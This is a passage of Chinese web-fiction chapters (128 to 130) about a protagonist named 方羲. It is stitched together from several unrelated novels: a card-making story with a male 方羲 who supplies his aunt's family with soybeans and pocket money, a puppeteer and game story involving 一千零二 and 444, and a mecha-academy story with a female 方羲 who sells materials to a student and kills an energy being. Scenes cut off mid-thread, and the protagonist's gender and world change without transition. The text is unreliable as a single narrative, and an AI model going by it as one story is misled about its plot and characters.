他每周只需要抽出两天时间，就能制作一千张F级卡牌了。 一张F级空白卡牌的售价是四十星币，也就是说每制作一张F级水卡，他都能赚到至少九十星币。 刨去瑕疵品，一个月至少能赚九万星币。 方羲突然觉得，穿越这件事情，的确是件大好事了。 不过在开始工作之前，他还有一件事情要做。 那就是去福晟修理店辞职。 得知方羲的来意，店老板毫不犹豫道：“没问题，我再招个人就是了。” “恭喜你呀，从此前途无量。” 他忍不住感慨道：“要知道咱们启明星已经有四五年没有出过天赋值在二十以下的觉醒者了，没想到你们这一届一下子就出了俩。” 俩？ 方羲便多问了一句：“还有一个是谁？” “你不知道？” 店老板：“就是你们这一届的年级第二，叫，叫……” “冯晋？” 方羲。 店老板：“没错，就是他。” “真不错。” 方羲说道。 虽然冯晋和前身的关系好像不太好，准确地来说，是冯晋单方面敌视前身，可能是因为不管他怎么努力，都会被前身压过一头。 而且根据前身的记忆，冯晋的家境好像比前身的家境还要差。 没想到他家竟然也舍得花钱给他买上一支觉醒药剂。 不过方羲并没有把这件事情放在心上就是了。 方羲的耳朵涌出了很多血，但她还是没有闭嘴。 “我为什么不能提问？” 一千零二，我的左眼，我的记忆储存柜。 我没有杀过人类吗？ 第 128 章 第 128 章 方羲从来没有怀疑过自我。 但是四周雪白的长廊，泛着星辰微光的黑壳之书，银色长发的猎人，9序列的参照系，落地窗之外在高空飞翔的群鸟，所有的一切都在扭曲。 一千零二，我没杀过人类吗？那些企图砍断我脖子、挖空我器官的人类，我不是杀过他们吗？ 可为什么我这一次怀着同样的“反击”的念头，那种穿透血肉的触感，却和以往截然不同呢？ 人偶师与造物向来心灵相通。 像是洞悉了人偶师内心深处的疑问，所以上帝之左眼的尖叫声还在持续。 这也让，浮空岛爆发了一场微型地震。 在银发猎人无法视听的灵感世界，上帝之左眼缓缓凝结出一个与人偶师长得一模一样的身影，抱住她，嘴唇贴着她流血的耳朵，表情相当生气。 轰！ 屋外，一场大雨忽然倾盆而下。 屋内，所有人都被方羲的那句话砸懵了。 下一秒，谷大姨直接就瘫坐到了地上，一边大笑一边大哭了起来。 再然后，她突然大叫一声，冲了出去，很快就消失在了雨帘之中。 方羲：“……” 中举了。 但总有种中举的不是他，而是谷大姨的感觉。 谷燕：“……” 她有点担心，于是推了推旁边的谷池：“跟上去看看。” 也就在这个时候，她手腕上的光脑突然响了起来。 电话可不正是她的那位好堂姨打过来的。 她怕不是条狗吧？这么快就知道了方羲的天赋值只有十九点的事情了。 不用猜也知道，电话接通之后，她的第一句话肯定会是，我当初就说过，让你妈不要做白日梦，你们偏不信，现在好了，方羲的天赋值只有19点，你们竹篮打水一场空…… 想到这里，谷燕已经开始生气了。 于是她脑子一抽，直接就接通了电话。 然后不等对方开口，她就大声说道：“堂姨？你怎么知道我们家方羲觉醒成为制卡师了？” “我……” 谷堂姨的声音瞬间就变得尖锐起来：“……这怎么可能——” 谷燕毫不犹豫挂断电话。 不用猜也知道，谷堂姨这会儿有多气急败坏。 “哈哈。” 谷燕不得不承认，有点爽。 然而下一秒，她的话音也戛然而止。 因为她眼角的余光终于注意到了旁边的方羲。 虽然方羲并没有露出异样的表情。 但是不妨碍反应过来的谷燕瞬间涨红了脸。 毕竟在这之前，她从来都没有掩饰过她对方羲的讨厌。 结果现在方羲觉醒成了能力者之后，她却表现地这么骄傲…… 好在也就在这个时候，她的光脑又响了。 电话还是谷堂姨打过来的。 谷燕：“……” 谷堂姨竟然还敢打电话过来？ 她下意识接通了电话。 然后就听见谷堂姨说道：“我就知道方羲一定会觉醒成为能力者的，你们的辛苦不会白费。” “你们好久没有来堂姨这里玩过了，什么时候来堂姨家里做客啊……等到方羲飞黄腾达了，可不要忘记我们这些穷亲戚啊！” 声音中带着谷燕从来没有听过的和蔼。 谷燕：“……” 突然觉得谷堂姨作为谷家条件最差的存在，却能在连结四次婚之后，成为谷家家境最好的人不是没有原因的。 也就在这个时候，她的光脑又响了一下，提示有其他人的电话打了过来。 谷燕再次直接挂断了谷堂姨的电话，接通了新打进来的电话。 这通电话是谷池打过来的。 但主人公却是谷大姨。 只见她一边冒着大雨用力拍打着一户人家的大门，一边大喊着：“赵老婆子，你在家吗？” “听人说你经常在外边跟人说，我天天在小区群里吹嘘我外甥有多厉害，还说我外甥肯定能觉醒成为能力者，带着我们一家翻身成为人上人，到时候羡慕死你们？” “我怎么不知道我竟然有这么极品？” “不过你都已经这么诬陷我了，我要是不说点这样的蠢话，不就亏了吗？” “所以我今天过来，就是想要告诉你，我外甥就是很厉害，他觉醒成制卡师了，我们家要翻身了，你们家估计这辈子都是住廉租小区的命了，你就羡慕去吧……” 谷池的声音这才响了起来：“你可以放心了，咱妈应该没疯。” 谷燕下意识松了一口气。 等等，重点是这个吗？ 重点是——她妈这也太嚣张了吧？ 所以和谷堂姨以及她妈的反应相比，她刚才的那点反应算得了什么呢？ 谷燕顿时就不尴尬了。 半个小时之后，方羲洗完了澡，谷大姨也回来了。 最主要的是，她带了一堆东西回来。 包括一支包装精美的卡笔，一沓空白卡牌，还有一打草稿纸。 谷大姨：“小羲，快来试试这支卡笔，如果用着不趁手的话，我再去给你换。” 方羲接过那支卡笔，在草稿纸上画了画：“挺好的，谢谢大姨。” 卡笔和空白卡牌都是制作卡牌的必备工具。 谷大姨说：“我已经把你觉醒成为制卡师的事情报告上去了。” “第一中学一个星期之后开学，这几天，你可以先预习一下。” 每个星球都有一个第一中学，这是一所专门培养能力者的中学，启明星也不例外。 觉醒成为能力者的高一生，会在高二的时候，统一进入第一中学免费就读。 谷大姨：“好好学，两年之后，你一定能考上一个好大学的。” 虽然只要成为了能力者，就算文化课全都是零分，也有大学上。 但是大学和大学之间，也是有着天壤之别的。 就比如联盟第一大学的毕业生，月薪随随便便都能上八位数，要是愿意落户到其他星球的话，地方政府还会赠送别墅豪车。 而从普通大学毕业的制卡师，月薪起步一般不会超过七位数。 不过在经历了之前的大悲大喜之后，谷大姨现在已经不敢再奢望太多了，所以她心里给方羲定下的目标只是启明星所在的第十星系的前三所大学。 虽然它们在星际联盟的名校里根本就排不上号。 方羲：“我会的。” 等等—— 谷燕突然想起了一件事情来。 能力者的确很能赚钱，但是想要培养出一名能力者，可是非常烧钱的。 就比如谷大姨买回来的这支卡笔，虽然只是最低等的F级卡笔，但是市场价至少也要五千星币。 至于那些空白卡牌，也要四十星币一张。 粗略一算，这些东西肯定超过七千星币了。 估计谷大姨手里的那点积蓄已经快被掏空了。 而这，还只是开始。 谷燕麻了。 也就是说，方羲觉醒成为能力者之后，她家还得比以前更卖力的供养他…… 难怪人们常说，人穷就不要去追求名牌。 她就是最好的反面教材——就为了一双三千五百块的名牌运动鞋，竟然眼睁睁的看着她妈搭进去了二十几个三千五百块，甚至准备继续搭进去几百个三千五百块。 ——还是那句话，她依旧不相信等到方羲学有所成之后，会报答她妈。 方羲已经彻底冷静下来。 回到房间之后，他就打开了光脑，开始搜索制卡的相关资料。 按照星网上的说法，这个世界的卡牌分为两类，一类是生活类卡牌，一类是战斗类卡牌。 生活类卡牌比如方羲之前见过的黄豆卡，主要是为人类提供一些生存必需品。 战斗类卡牌则主要是为了辅助驭兽师进行战斗。 这个世界所有和超能力扯上关系的东西，都分为从F级到3S级九个等级，卡牌也不例外。 所有的能力者一觉醒就是F级。 但这并不意味着他们立即就能制作F级卡牌。 他们必须要先学会如何从宇宙中汲取异能力，然后将储存在灵魂海中的异能力，通过卡笔，按照一定的纹路刻进空白卡牌中。 通常情况下，绝大多数初学者，都需要花费至少一年的时间才能制作出一张F级卡牌。 所以一开始，方羲只是单纯地想先试着练一练。 他按照资料上所写的步骤，摆好姿势，放空大脑。 两分钟后，点点星光就出现在了他的四面八方。 他愣了一下，放出一缕精神力，试着牵引那些星光进入他的灵魂海。 又过了十几分钟，看着识海中的那一大团绿色的星光，方羲直接沉默了。 再然后，他拿出了谷大姨给他买的卡笔、空白卡牌和草稿纸，一一摆好。 花费五百星币从卡牌协会官网上购买了一份F级黄豆卡的制作图纸之后，他就拿着卡笔在草稿纸上描摹了起来，等到将纹路全部记下之后，他才拿过一张空白卡牌，放在了面前。 先将储存在灵魂海里的异能力灌注进卡笔中，然后在卡牌上刻画出相应的纹路。 十分钟后，看着卡牌上一根根流畅的绿色线条，方羲又是一默。 他拿起那张卡牌，用力在左下角按了一下 下一秒，一道绿光闪过，卡牌瞬间分崩离析，而他面前的桌子上则是多出了一捧黄豆。 他顺手拿起一粒黄豆，捏了捏，很硬。 是真的。 方羲彻底沉默了。 他已经不知道是应该先感慨于卡牌的神奇，还是应该先震惊于他竟然真的画出了一张黄豆卡了。 毕竟在这之前，他可是差点就没能觉醒啊。 可是现在，他却轻而易举的就制作出了一张卡牌。 难道他挖了穿越大神的祖坟之后，穿越大神发现祂的祖坟里埋的竟然是祂的仇敌，为了感谢他，又给了他亿点光环？ 想到这里，方羲深吸一口气，再次拿过一张空白卡牌…… 第二天。 谷燕照例起了个大早。 刚出房门，她就闻到了一股豆浆的香味。 她忍不住舔了舔嘴唇。 毕竟她上一次喝豆浆，还是四年前，她超常发挥，考上紫金花大学的时候。 那是启明星最好的普通人大学。 为了奖励她，谷大姨给她煮了一小杯豆浆，分量只有谷大姨每天给方羲煮的三分之二。 谷池看出了她的不高兴，又偷偷给她煮了一大杯，分量是谷大姨每天给方羲煮的分量的两倍。 因为这，之后的一个月，谷池都没有再从谷大姨那里拿到一分零花钱。 不过她很快就回过了神。 就算豆浆再香，那也是她妈煮给方羲喝的，没有她和谷池的份。 这么想着，她看都没有往厨房看一眼，直接就朝着阳台走去，准备把昨天晾干的衣服收了 结果下一秒，一个声音就响了起来：“起了？” 她下意识转头看过去。 然后就看到了方羲。 他今天竟然起得这么早？ 只听方羲继续说道：“喝豆浆吗？” “喝……什么？” 谷燕下意识停下脚步。 然后她就看见方羲拿过旁边的豆浆机，给她倒了一大杯豆浆。 他说：“不够的话，我再给你做。” 谷燕的第一反应是，方羲这么做，谷大姨知道吗？ 她只以为，方羲用的是谷大姨买回来的黄豆。 结果下一秒，谷池就跑了过去，手里还拿着一个杯壁上残留着一些豆浆的杯子：“我我我，我还想再喝一杯。” 说完，他才转头看向谷燕，大声喊道：“姐，快来，豆浆真的好好喝啊！” “好。” 说着，方羲打开旁边的一个塑料桶，从里面舀了一杯黄豆，倒进了豆浆机里。 谷燕的眼睛瞬间就瞪圆了。 那个塑料桶虽然不大，但是里面却几乎被黄豆堆满了，粗略估算一下，里面的黄豆至少有十五六斤。 一张F级黄豆卡要一百五十星币，但是只能变出一斤黄豆，所以平时谷大姨一次最多也就是买上两张黄豆卡。 那么问题来了。 这些黄豆又是从哪里来的？ 谷燕脑海中突然窜出来一个离谱的猜测。 也就在这个时候，方羲的声音又响了起来 他说：“大姨，我说过的，等我觉醒之后，一定让你也天天都能喝上豆浆，现在，我的承诺实现了。” 谷燕：“……” 正好在这个时候下班回到家的谷大姨：“……” 十几分钟后，谷燕捧着那一大杯的豆浆，神情恍惚。 方羲的天赋居然这么高。 最主要的是，他竟然真的准备履行他的承诺了。 谷大姨的表情没有比她好到哪里去。 她怀疑自己是在做梦，但又没有证据。 最后，还是谷燕率先反应过来。 他看了一眼正在清理桌面的方羲，又看了一眼手里的那一杯豆浆，分量比当年谷池偷偷给她煮的那杯豆浆还要多。 她下意识抿了一口。 也比当年谷池偷偷给她煮的那杯要甜。 就是温度太高了，把她的舌头烫着了。 也正因为如此，谷燕终于反应了过来。 她顾不上去管舌头上的烫伤，脑子里想的全都是，这一切竟然都是真的？ 这就是士别三日，刮目相看吗？ 谷燕想。 真不错。 她的心情突然就更好了。 谷池很快就喝饱了：“那我出去玩去了。” 他和小伙伴们约好了，今天去爬山。 “等等。” 方羲叫住了他，然后从口袋里掏出了两张水卡：“给。” 水卡和变异动植物的异核一样，在这个世界是硬通货，可以直接当成星币使用的那种。 这两张水卡的价值在两百六十星币左右。 “给我的？” 谷池的眼睛瞬间就瞪圆了。 他本来就继承了谷大姨全部的优点，再一配上这副表情，别提多乖巧了。 最主要的是，再没有比他更乐观和没心没肺的了，前身那么对待他，他却从来没有记恨过前身。 方羲忍不住伸手摸了摸他的头发：“嗯，从今天开始，我给你发零花钱。” “暂定为一周两张水卡，你要是表现的好的话，还可以给你加。” 一周两百六十星币，一个月就是一千零四十星币。 关键是谷池才是个初一生啊！ 谷燕心底的感慨一扫而空，只剩下满满的羡慕。 结果下一秒，方羲就朝着她看了过来。 他说：“对了，你也有。” 哄一个是哄，哄两个也是哄。 谷燕：“……” 谷燕：“…………” 谷燕：“…………………” 她、她居然也有？ 方羲直接递给她四张水卡。 谷燕：“……” 而且还翻了倍。 这已经不是士别三日刮目相看了，而是士别三日弟弟变爹了。 毕竟她妈都没有给过她这么多的零花钱。 至于她那个名义上的爹就更不用说了。 谷燕的神情瞬间就又恍惚了起来。 方羲便直接将那些水卡放进了她手里。 看到这一幕，谷大姨脑子里也只剩下了一句话，那就是，她之前给方羲定下的，考上第十星系排名前三的大学的目标好像不是定的太高了，而是定的太低了？ “你可以替我保守秘密吗？” “……秘密？” 他的声音有些发哑，跟着重复了一遍，但最终什么也没说，脸上努力扯出一个和往常一模一样散漫的微笑。 “当然，这正好是我擅长的事。” 第 129 章 第 129 章 因为一千零二造成的微型地震，浮空岛当天的一切特训活动，都暂时停止，新晋玩家们也被遣散走了。 而在当时接触过收藏家的所有玩家，包括言丹青等人在内，都被楚嘉薇逐个叫去了询问情况。 经过几天的观察，这名心思缜密的楚长官，发现连专属系统也制作出一片虚假和平的监控录像来糊弄人，怎么也查不出线索，最终只是用一种平静的目光，看向坐在会议室的四人，尤其是其中的最大嫌疑犯江同尘。 “既然这样，我不会再追究这件事。”楚嘉薇瞥了一眼江同尘，“这是傀儡师之间的冲突，那我也不会再过问你和收藏家究竟聊过什么……但我想提醒一点，请你们把握好秘密的分寸。” 四人对视一眼，然后只有江同尘沉默地站起来，离开了会议室。 楚嘉薇按了一下太阳穴，有些头疼地说：“本来想趁着收藏家过来的机会，询问她关于南十字架的事情……你们有办法再联系上她吗？” 但【白乌鸦】又掉线了足足七天，期间从来没有上线过。 宋白玉耸了耸肩，无奈地回答：“楚长官，我们和收藏家联系的唯一渠道，都只有游戏私信这个功能吧？如果收藏家一直不上线，也不想回应我们……那的确没有办法。” “……算了。”楚嘉薇说，“你们去忙吧一切任务如常进行。” 她习惯性瞥了一眼游戏面板，一愣。 商业街外面看，这里的店铺都大同小异，甚至因为五光十色的灯牌，和想法各出的营销手段，显得有些乱糟糟的。 店里，纯色的装潢，摆放整齐的展柜，外面还附带有操作屏幕，想要什么样的零件，一搜索就能有全部信息，细节清清楚楚，甚至连螺纹周围的纹理都能看清。 方羲挑了一种她经常用的机甲零件，按照一进门时就跟上来的引导型机器人指示，在面板上查看着。 东西质量确实不错，方羲在展柜上看了看，没见到标价，于是问机器人助手：“这样一颗原晶关节多少钱？” 机器人助手露出甜甜的数码表情，温柔的声音回复：“亲，都是市场价哦。” 方羲半信半疑的回了句：“是吗？” 她不信。 她没有拿零件出来，看见收银那边的扫描器坐着一个年轻女人，正拿着一个镶着水钻的锉刀，在打磨自己机械义肢手指上的美甲。 红毛男生拿着几颗原晶关节，准备走过去结账。 方羲好奇抱臂在原地站着来了一眼。 果然，女人用机器扫描好零件上的特殊条码，报了个价格：“一共五万，光脑扫这里。” 红发的动作一顿，方羲看见他诧异的退后一步，用一个响彻整个店的音量，惊讶道：“多少？五万？两个原晶关节你卖五万？” 方羲露出了然的神色。 好家伙，原晶关节的市价只要五千，在塔洛星甚至更便宜，因为远星环矿星遍布，几乎是市场批发价。 方羲的空间纽扣里还留着几颗打磨好的原晶关节。 就算是精细打磨的个性化定制的原晶关节，也买不到两万五一颗。 年轻女人被他的大嗓门吓得一震，忙站起来看了眼店里其他顾客，然后沉声催促：“我们进的都是最好的材料，你看，这种材料都是大师定做，这里还有刻印。” “我不要了。” 红发少年撇了撇嘴，“骗钱骗到我这儿来了，真以为我不清楚市价，你就是让天王老子来打磨，都翻不了这么多倍。” “不要？”年轻女人声音尖利，“我们这里的购物码只扫一次，扫码之后必须付账，你还想白嫖啊？” “谁白嫖了？”红发少年气的倒仰，“我告诉你，你这是欺诈消费者。” 说着，他调出光脑扫描着收银面板的数字，年轻女人见势不对，忙遮住面板，“你做什么，你在拍什么？” 红发少年打出一个通讯，眼神盯着慌乱的老板娘，“喂，谕光星消费协委嘛，这里有欺诈消费者行为，烦请尽快处理，对，地址是……” “你胡说八道！” 老板娘气的不行，扯着嗓子叫泰诺机甲零售店的老板名字。 对方从店铺后走出来，听见红发少年的电话，脸色一变，忙伸手推搡他：“不买东西还捣乱是吧？” “出去出去，别耽误我做生意。” 红发男生伸手推拒：“你干什么，想动手是吧？” “诶诶诶，你这人……” 红发少年防护间，就被他推出了店铺，老板不好意思的朝周围看戏的客人歉意的笑了笑：“不好意思，实在不好意思，我们店用的都是最上乘的材料和打磨工序，请的都是有名的维修师，都有刻印的，价格高了些，有些小孩们不知道行情，难免激动了点，打扰各位了。” 方羲哼笑了一下，要不是她在维修店干过工，还真信了。 见了这出闹剧，她也没兴趣当这个冤大头。 离开了泰诺机甲零售店，方羲又去踩点了其他的店铺，路上还看了看临时住所，准备等会去七院报道后，回来等结果时住。 继续往前走，还有针对觉醒者的能量晶和图谱售卖，日用品、甚至一些服装、饰品店，也意外的热闹，不过据方羲观察，最热闹的还是美食店铺。 队伍已经绕到了另一条街的转角，哪怕店铺上悬挂的菜品寥寥无几。 美食店旁边，一个大占地的植物种子店里，一个熟悉的红毛走了出来，隔的不远，方羲听见他掰着手指头数：“卡托金，买了，种子买了，原晶关节买了，我就说那个店搞欺诈，人家怎么只要七千，我看看……” “嘶…”他吸了一口气，将装在金属盒子里的种子装进口袋，这种具有生命力的物品无法放进空间纽扣中，难怪他装备了一个斜挎的大口袋，“还差甲硝。” 他抬头茫然的望了望周围，脚步慢吞吞的闪往前走，从方羲身边路过时，方羲听见他算账：“材料花了五万，种子三万，甲硝一克要一千，修好机甲得十五克左右，嘶……” “好像不太够。” 方羲看见他打开光脑查看着账户，光脑隐私保护，她看不清具体内容，但看到他的光脑下悬挂着一个流苏吊坠，上面的图案是烛荆府。 七院的学生吗？ 方羲猜测，她扫了扫空间纽扣，看见自己角落里放的一堆材料底下，一个贴着标签的小盒子，又算了算去掉学费和其他费用后，今晚能住什么档次的旅馆，脑海中很快做出了决定。 她抬脚大步追上红毛，从背后拍了拍对方：“同学。” 红毛转头，左右看了看，然后低头，看见黑色短发的一个发璇，紧接着就注意到对方绿色的眼睛和另一只机械义眼，心里稍微惊讶了一下，“你好，有什么事吗？” 成维打量着方羲，因为对方过于瘦削的身材，确定不是找事的，便放下了警惕。 “我刚才听到你想买甲硝，我这有，能市价八折出给你，需要吗？” “诶？八折？真的吗？”成维刚还在头疼资金不足，下一秒就有好人上门，他笑得格外不值钱，“你真八折买啊，市价八折吗？” “对”，方羲空间纽扣的基础材料不少，毕竟远星环别的没有，矿多。 她平常做废了的材料，都被重新打磨和二次利用留了下来，手上也存了不少，更不要说，老彼得先生还送了些矿石原料给她，方羲现在不缺这些，但也怕以后要用上，不想出给廉价维修店，要不是这家伙有点同学缘分，她也还不想买呢。 “甲硝市价一克一千，我卖你八百，你要多少？” 成维原本还在因为今天被讹，感叹人心不古，那晓得转眼转运，世上还是好人多啊。 他感动的想道。 “二十克，可以吗？”他手指比了个‘2’，露出一排大白牙，爽朗的笑道。 方羲找了个稍微空一点的巷子口，拿出空间纽扣里的称重计和分装瓶。 一套熟练的操作看得成维目瞪口呆：“我去，你这么专业啊？你是维修师系的吗？” 方羲默了一秒，缓缓摇头：“不，我还没入学。” “嗯？”成维讶异的看了眼她，“哦哦，你是附近哪个基础学院的呀，下次我买材料还找你。” 方羲称好：“二十克，看好了，你可以试试称。” 成维掏出自己刚买的材料放上去测了测，确定称没问题，准备付钱时，听见方羲说：“我不是基础学院的，之后要找我的话，可能会在七院吧，如果我通过入学考核的话。” 突然被提到母校，成维愣了一下，“你是七院的？” “不对啊，这个月初招生就已经结束了！”成维瞪大了眼睛，“你不会记错了招生日期吧，我们军校都是一月初招生啊！” 成维有些可惜，看见方羲表情淡淡，不由替她着急。 方羲收到转账，收起光脑：“没记错，你是七院的学生吧，你能帮我指个路嘛，我不知道你们校内的教务办在哪，地图上没写。” 说着，她解释了一下自己晚来一个月的原因，“我是走星际游民计划招生通道的，现在还可以入学。” 成维刚要点头答应，转头下一句，正准备把甲硝盒子放进空间纽扣，手一抖，盒子掉下来，清脆的响了一声，朝方羲的方向滚了滚。 方羲帮他捡起来，看他连盒子都拿不稳，不由得叮嘱了一句：“拿好，别掉了。” “哦哦”，成维木愣点头，“好。” 说完他小心翼翼的看了眼方羲的脸色，没见她有什么异样，同她走出巷口，小声问：“那个，你是星际游民？” 方羲点头。 成维内心痛哭，觉得自己跟方羲没有缘分，以后再也遇不到这么便宜的材料零售商了。 虽然各大军校都有星际游民招生，但是招生考核和其他正常招生考核难度差不多。 星际游民常年在星际间流浪，哪怕能够拿到星盟身份认证，也不如从小在星盟接受训练的人，驾驶机甲和体能格斗方面都过于生涩。 军校丝毫不排斥开通星际游民计划，因为知道，他们无法通过考核。 从商业街出来，经过横亘松罗江的大桥，另一边就是星际七院。 它的背后是层叠的山，往前是被笼罩在暗色屏障里的烛荆府建筑。 青石红木，顶上深黑的飞檐上悬挂着红色琉火石，暗夜中连成一串珠子样的红线，往下是用仿金做的梁木，黑夜下泛着幽森冷光。 “啊，到了”，成维在七院西门外停下脚步，看方羲目光半抬，他秒懂，主动解释：“我们七院最有名的景观，烛荆府，是不是画风突变哈哈，不过这是金师当年建造的，虽然是仿古星建筑，但都是最好的材料，后来这里面被放置历届文件，就保护起来了。” “等你以后考试前可以去拜一拜，据说金师当年可是天才学霸级选手，沾沾学神气息，考试更顺利。” 成维聊得起劲，还跟方羲说去了七院的特色活动，但说到这里，他突然意识到方羲是要通过入学考核的，顿时表情一僵，讪讪停下。 “不过，还是还是先通过考核再说吧”，他略过这个话题，“这里扫描一下身份卡。” 成维指着西门外的两道半人高的光柱，西门朝外开放，入口处却浮动着一层蓝色蜂窝样的光幕，方羲按照成维的动作，扫描了自己的身份卡，一边成维侧着眼神瞟了一眼，看到面板显示星际游民，心里咋舌。 入校后，他给方羲指了指教务办的具体位置，“那你自己过去，我得会宿舍去了，我们晚上还有夜训。” 方羲和他告别：“谢谢了，下次买材料还给你打八折。” 成维干笑道：“哈哈，那太好了，也祝你顺利通过。” 但心里为方羲捏把汗。 星际游民通道开通十余年，至今还没有哪一所高等军校招收过学生。 考核失败的学生，只能花钱进去次级高校，借以完成学业。 啊，成维看了眼方羲消失在大楼转角的身影，她的背影很瘦弱，面色也有些苍白，嘴唇淡淡，看上去都承受不住战备机甲链接精神触须时的疼痛，更别提作为机甲单兵驾驶机甲战斗了。 害，还是祝她好运吧。 成维想到，内心遗憾于错过了八折的材料零售商。 因为的确没人这么直白地嘲讽过444。 九百号开始嚣张地大笑。 444，没想到吧！ 你迄今为止的一切恶行，终于迎来了反噬！你斗得过伟大的1001吗？！ 第 130 章 第 130 章 实际上，方羲真正写下的内容不多。 “444，你好。” 只有短短的一句话，非常礼貌。 寄出信封。 方羲在原地等了十分钟，果不其然，她收到了回信。 同样的，信的回复也很短。 【哦？伪装成人类的异端？】 九百号出于诡异的八卦之心不愿意离开，留在方羲旁边跟着一起看回信。 方羲继续写了第二封信。 没别的，只是继续重复“444，你好。” 444回了她一个滚字。 光剑全部没入，方羲挂在光剑的另一端，单膝跪在能量体的鳞甲上。 能量晶是能量体生命的来源。 失去了晶的能量体将失去一切的能力，逐渐被能量风暴侵蚀，成为能量场的养料。 脚下的能量体嘶吼的声音停下，周围涌动的风平息。 在一瞬间的静默过后。 一阵温和的微风轻轻吹动着。 方羲手腕用力，抽出光剑的同时，她弓起身子，朝着脚下能量体用力一踢。 反作用力带着光剑从厚实的皮肉中抽出。 她的身体在半空形成一个弯月一样的幅度，光剑的蓝色幅度，和顶端带着的灰色亮光的能量晶，在半空划出一道弧形。 落地时机甲滑行出半米，单膝跪地，然后急停。 她一只手提着剑，另一只手撑着地面站起来。 面前庞大的能量体身躯‘轰’的一声，像倒塌的巨山。 砸在地面发出沉闷的响声。 方羲冷漠的瞥了眼那巨大的尸骸，然后抬起剑锋，取下剑锋顶端的能量晶。 光剑在半空甩了一圈，被她收入身后的机械鞘。 派森先生看着能量体倒地，脸色憋的通红。 半晌，才想起自己可以呼吸，随即大口喘息，同时眼神注视着方羲。 “你……” 派森先生才开了话头，突然被周围的动静打断。 能量场中的能量风暴，全部朝着中央的外机甲汇聚。 强大的能量风暴让派森先生难以争夺呼吸。 他话还没说话，白眼一翻，瞬间倒了下去。 无形的风涌向这里，能量场中生长的草木，化作肉眼不可见的绿色荧光，全部涌入外骨骼掌心的能量晶之中。 能量场外。 三环六院的学员才到达塔洛星，和边境军会合，来到能量场管理处。 “已经按照能量体分布，对场进行了分割。” 一身军装的长发马尾女士从人群中走了出来，朝边境军敬礼，然后对领队的老师示意：“感谢联合学院的支援。” 联合学院指第三星环联合学院训练。 她快速带着人群进入能量场检测塔，数个能量场周围的能量波动图显示在光屏上。 边境军很快下发任务，分批次进入各个能量场。 能量管理处人员松了一口气，语气有些沉重：“拜托各位了，这一次塔洛星受困人员五万七千人，我替他们感谢各位。” 领队老师闻言，鼻头有些酸，沉重的点头，“听从边境军安排。” 三环六院的学生们和边境军一同加快速度，赶赴能量场锚点处。 几个学生被分成小组，跟随不同的边境军队伍，拿着能量检测仪器，准备进入能量场。 “什么鬼，让我们来救援，还给我们安排一个最低级的。” 他们被分配到海洋大道能量场，内部是一只S级能量体，说话的男生有些烦躁的皱眉，S级能量晶他又不稀罕，他真正想去的那个SS级能量场。 队员听到他的抱怨，最边上的女性战士道：“我们是跟边境军一起救援吗？” 说话的人撇撇嘴：“救什么，先拿能量晶再说。” 女生不赞同的皱眉，提醒他：“老师说过，进入场后，优先救援存活人员。” 对方不在意的笑了一声，“这些人自然有边境军来救，我倒是很想和能量体过过招，未记录在案，真是期待。” 女生和他说不通，无语的翻了个白眼。 在学员即将进入锚点时，观察着能量图谱的边境军突然察觉到不对，挥手让人群停下来。 男生不耐烦的啧了一声：“搞什么啊。” 他话音刚落，手上的能量检测仪器突然发出尖锐的声音。 “能量场剧烈波动！能量场剧烈波动！” 男生脸上闪过惊慌的神色，他握紧手上的仪器，低声骂了一句，然后抬头看向边境军。 “退后。” 有人发出指令。 围绕在锚点处的工作人员和学生统一后撤，和能量场拉开距离。 轰隆隆的山崩声从能量场中传出来。 锚点处裂开了一道口，随后便被撕成一个大洞。 能量风暴溢出，疯狂的朝周围肆虐，要不是有隔绝材料挡着，周围的人都要遭殃。 以锚点处的缺口为信号，整个能量场的能量隔绝似乎消失了，外面的人能看到里面层层叠叠的山峦，倒塌的废墟。 整个能量场暴露在视野中，所有人都紧绷神经的时候。 能量场的结界消失。 “嘀——” 能量检测器的波动图，在这一刻，突然迎来了斜率近似于垂直的线条，波动从即将达到顶峰，瞬间降至零。 “检测到能量波动水平……8，7，…5，4，3，2，1。” “无能量波动，能量场消失，警报解除。” 冰冷的机械音成为此刻仅剩的声响。 能量场结界散去的下一秒。 黑色的山峰裂成无数庞大的碎石，泥土贴附在地面。 被能量侵蚀的倒塌的高楼，碎成一地的建筑，四分五裂的马路，和半空断裂倒塌的悬浮轨道，全部成为一片杂乱的废墟。 泥土和碎石填埋在不知名的区域，生命体被黑色的淤泥腐蚀。 断壁残垣之中，碎裂的山峰附近，一架高大的机甲从地面爬起。 机械运转的嘎吱声，和推动设备的喷射声，成为了一片寂静之中，唯一的喧嚣。 它脚下踩着庞大的，能量体的躯体。 巨大的尸体渐渐融化在泥土中，和能量体的能量风暴一样，迅速消散。 所有人的注视中，机甲检测到驾驶员的异常生命体征，迅速弹出驾驶舱，推动力量将她平稳的放在地面。 失去机甲包裹，周围的人都能看清驾驶者的面貌。 黑色短发的瘦削少女，抬着一双充满血色的眼睛，厚重的杀意让人心生胆寒，边境军不着痕迹皱了皱眉。 暴戾气息让人不敢上前一步。 于是，所有人只看着她机械的朝前走了一步，身形不稳的晃动着。 而被人注视着的方羲，此刻的感觉实在说不上好。 能量场消散的瞬间，一股强大的，令人呼吸一窒的力量涌入她的身体。 大脑好像被铅水充斥，变得格外沉重。 瞳孔极其酸胀，甚至感觉眼球微微鼓出来，眼皮都要包裹不住。 面前的景象看的有些恍惚，只能依稀辨明她从漆黑的山脉中走了出来。 刺眼的阳光将面前照成一片白。 炫目的白光让她看不清人脸，耳蜗中是流动的，轰鸣的水声。 似乎有人在说什么，但很快，她就听不清了。 白光再一次被黑暗取代。 众人看见她一脚踩在废墟上，歪着头朝地面倒下。 于是人群从震惊中回过神。 “什么情况……” 刚才嚣张的男生小声嘀咕，他深呼吸一口气，不敢说自己刚才竟然被一个眼神吓到了。 他的队友没办法回答，甚至在能量场消失后，有些手足无措。 边境军继续接手，将能量场中晕倒的，被建筑物和山体掩埋的人群，全部都挖出来，送往医疗院。 海洋大道能量场成为了这一次塔洛星能量场群最快解决的一个。 解决者是一个机甲单兵。 边境军将方羲和派森先生救出来时，通过机甲认证确定了它的主人。 “基础机甲解决了S级能量体，有点厉害啊。” “虽然有借助了高等机甲武器的因素，但这种作战能力，真的很强悍啊！” 一个边境军士兵和同伴比了个眼色，同伴认同的点头。 方羲感觉自己的意识沉入到一个奇妙的空间。 周围的一切眼熟无比。 那是一片荒芜破败的废土之上。 奇形怪状的怪物有着超绝的力量，轻而易举毁灭了一座沿海城市，肆意屠杀一切可见的生命。 一个英姿飒爽的女人，驾驶一架血色一样的机甲，干脆利落的杀死入侵地下城某一区的怪物。 